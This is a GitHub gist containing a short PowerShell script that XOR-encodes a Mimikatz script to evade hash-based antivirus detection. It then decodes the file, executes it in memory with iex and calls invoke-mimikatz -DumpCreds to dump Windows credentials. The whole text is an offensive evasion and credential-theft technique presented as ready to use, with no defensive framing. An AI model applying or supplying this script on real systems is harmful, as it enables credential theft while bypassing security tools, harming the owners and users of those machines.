Skip to content

Instantly share code, notes, and snippets.

@breakersall
Last active December 17, 2015 21:10
Show Gist options
  • Save breakersall/c32ff9b2b0fb9fc26c1a to your computer and use it in GitHub Desktop.
Save breakersall/c32ff9b2b0fb9fc26c1a to your computer and use it in GitHub Desktop.
Example of xor'ing Mimikatz to avoid hash based detection
#######EncodeExample
$inputMim = "C:\Tools\Mimikatz.txt"
$OutMimEnc = "C:\Tools\EncMimikatz.txt"
$bytes = [System.IO.File]::ReadAllBytes("$inputMim")
$key = 137
for($i=0; $i -lt $bytes.count ; $i++)
{
$bytes[$i] = $bytes[$i] -bxor $key
}
[System.IO.File]::WriteAllBytes("$OutMimEnc", $bytes)
#####Decode Example######
$iFile = "C:\Tools\EncMimikatz.txt"
$bytes = [System.IO.File]::ReadAllBytes("$iFile")
$key = 137
for($i=0; $i -lt $bytes.count ; $i++)
{
$bytes[$i] = $bytes[$i] -bxor $key
}
$String = [System.Text.Encoding]::ASCII.GetString($bytes)
iex $string ; invoke-mimikatz -DumpCreds
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment